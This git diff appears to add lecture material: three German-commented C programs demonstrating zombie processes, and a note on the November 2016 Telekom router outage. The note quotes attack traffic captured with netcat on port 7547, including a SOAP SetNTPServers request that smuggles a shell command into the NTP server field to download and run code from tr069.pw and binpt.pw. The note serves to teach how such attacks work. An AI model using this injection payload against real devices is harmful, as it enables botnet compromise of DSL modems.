diff --git a/20161201/make-zombies-1.c b/20161201/make-zombies-1.c new file mode 100644 index 0000000000000000000000000000000000000000..3626861d638c8ad6dc8c5c0831b9f5190e20a4dc --- /dev/null +++ b/20161201/make-zombies-1.c @@ -0,0 +1,41 @@ +#include <stdio.h> +#include <sys/wait.h> +#include <stdlib.h> +#include <unistd.h> + +int main(void){ + pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) + int i; // Laufvariable + + for (i = 0; i < 10; ++i) { + // Der Vaterprozess erzeugt nun einen Kindprozess, + // welcher unabh�ngig vom Vaterprozess mit der + // erneuten Ausf�hrung des Programms beginnt. + // Ein Kindprozess erzeugt keinen Fork von sich selbst. + pids[i] = fork(); + if (pids[i] == 0) { + // dann befinden wir uns in einem der 10 Kindprozesse + // Der erste Kindprozess wartet 10 Sekunden und jeder + // weitere Kindprozess wartet 1 Sekunde k�rzer als der + // vorige. + printf ("%d BRAINS! ", i); + sleep(10-i); + exit(0); // Kindprozess erfolgreich beenden + } + } + +// + // hier kommt nur der Vaterprozess vorbei + for (i = 0; i < 10; ++i){ + // Der Vaterprozess wartet nun, bis der Reihe nach jeder + // seiner 10 Kindprozesse beendet ist. Leider wird auf das + // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl + // die anderen Kinder l�ngst erfolgreich beendet wurden, + // blockiert das erste Kind eine Bereinigung der Prozesstabelle + waitpid(pids[i], NULL, 0); + } +// + +// while (1); + return 0; // Vaterprozess erfolgreich beenden +} diff --git a/20161201/make-zombies-2.c b/20161201/make-zombies-2.c new file mode 100644 index 0000000000000000000000000000000000000000..d43b17e278e3df5c2373600753d6ac53d89f7af7 --- /dev/null +++ b/20161201/make-zombies-2.c @@ -0,0 +1,41 @@ +#include <stdio.h> +#include <sys/wait.h> +#include <stdlib.h> +#include <unistd.h> + +int main(void){ + pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) + int i; // Laufvariable + + for (i = 0; i < 10; ++i) { + // Der Vaterprozess erzeugt nun einen Kindprozess, + // welcher unabh�ngig vom Vaterprozess mit der + // erneuten Ausf�hrung des Programms beginnt. + // Ein Kindprozess erzeugt keinen Fork von sich selbst. + pids[i] = fork(); + if (pids[i] == 0) { + // dann befinden wir uns in einem der 10 Kindprozesse + // Der erste Kindprozess wartet 10 Sekunden und jeder + // weitere Kindprozess wartet 1 Sekunde k�rzer als der + // vorige. + printf ("%d BRAINS! ", i); + sleep(10-i); + exit(0); // Kindprozess erfolgreich beenden + } + } + +// +// // hier kommt nur der Vaterprozess vorbei +// for (i = 0; i < 10; ++i){ +// // Der Vaterprozess wartet nun, bis der Reihe nach jeder +// // seiner 10 Kindprozesse beendet ist. Leider wird auf das +// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl +// // die anderen Kinder l�ngst erfolgreich beendet wurden, +// // blockiert das erste Kind eine Bereinigung der Prozesstabelle +// waitpid(pids[i], NULL, 0); +// } +// + +// while (1); + return 0; // Vaterprozess erfolgreich beenden +} diff --git a/20161201/make-zombies-3.c b/20161201/make-zombies-3.c new file mode 100644 index 0000000000000000000000000000000000000000..82d671c075e1db7879e8b040f12a8543c0c7436a --- /dev/null +++ b/20161201/make-zombies-3.c @@ -0,0 +1,41 @@ +#include <stdio.h> +#include <sys/wait.h> +#include <stdlib.h> +#include <unistd.h> + +int main(void){ + pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) + int i; // Laufvariable + + for (i = 0; i < 10; ++i) { + // Der Vaterprozess erzeugt nun einen Kindprozess, + // welcher unabh�ngig vom Vaterprozess mit der + // erneuten Ausf�hrung des Programms beginnt. + // Ein Kindprozess erzeugt keinen Fork von sich selbst. + pids[i] = fork(); + if (pids[i] == 0) { + // dann befinden wir uns in einem der 10 Kindprozesse + // Der erste Kindprozess wartet 10 Sekunden und jeder + // weitere Kindprozess wartet 1 Sekunde k�rzer als der + // vorige. + printf ("%d BRAINS! ", i); + sleep(10-i); + exit(0); // Kindprozess erfolgreich beenden + } + } + +// +// // hier kommt nur der Vaterprozess vorbei +// for (i = 0; i < 10; ++i){ +// // Der Vaterprozess wartet nun, bis der Reihe nach jeder +// // seiner 10 Kindprozesse beendet ist. Leider wird auf das +// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl +// // die anderen Kinder l�ngst erfolgreich beendet wurden, +// // blockiert das erste Kind eine Bereinigung der Prozesstabelle +// waitpid(pids[i], NULL, 0); +// } +// + + while (1); +// return 0; // Vaterprozess erfolgreich beenden +} diff --git a/20161201/photo-20161201-150010.jpg b/20161201/photo-20161201-150010.jpg new file mode 100644 index 0000000000000000000000000000000000000000..dfe8549dd590b662e7386bd09adb4f5edcd252f7 Binary files /dev/null and b/20161201/photo-20161201-150010.jpg differ diff --git a/20161208/hp-20161208.txt b/20161208/hp-20161208.txt new file mode 100644 index 0000000000000000000000000000000000000000..67b6ee887cd3eabb9107edf772e9ea75e46c4e38 --- /dev/null +++ b/20161208/hp-20161208.txt @@ -0,0 +1,41 @@ +Großstörung bei der Telekom, 27.11.2016 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Berichterstattung bei Heise Online: + - https://heise.de/-3505820 - Großstörung im Telekom-Netz + - https://heise.de/-3506044 - Die Telekom prüft Hinweise auf Hackerangriff + - https://heise.de/-3506556 - BSI warnt vor weltweitem Hackerangriff auf DSL-Modems + - https://heise.de/-3507088 - Angreifer nutzten Lücke und Botnetz-Code + - https://heise.de/-3520212 - Großstörung bei der Telekom: Was wirklich geschah + +Informationen zu dem TRE-069-Exploit: + - https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759 + - https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/ + +Aktiver Angriff auf den TRE-069-Port, aufgefangen mit nc -l -p 7547 + + <NewNTPServer1> + `cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1` + </NewNTPServer1> + +Selbst durchgeführter Test: nc -l -p 7547 + + nc: listening on :: 7547 ... + nc: listening on 0.0.0.0 7547 ... + nc: connect to 46.4.31.171 7547 from + node-jcm.pool-125-27.dynamic.totbb.net (125.27.97.246) 44932 [44932] + POST /UD/act?1 HTTP/1.1 + Host: 127.0.0.1:7547 + User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) + SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers + Content-Type: text/xml + Content-Length: 519 + + <?xml version="1.0"?><SOAP-ENV:Envelope + xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" + SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> + <SOAP-ENV:Body> <u:SetNTPServers + xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd + /var/tmp;cd /tmp;wget http://binpt.pw/a;sh a`</NewNTPServer1> + <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> + <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> + </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope> diff --git a/20161208/photo-20161208-144033.jpg b/20161208/photo-20161208-144033.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d4c57a2ab737386d23a0fb943aad94ad456242e8 Binary files /dev/null and b/20161208/photo-20161208-144033.jpg differ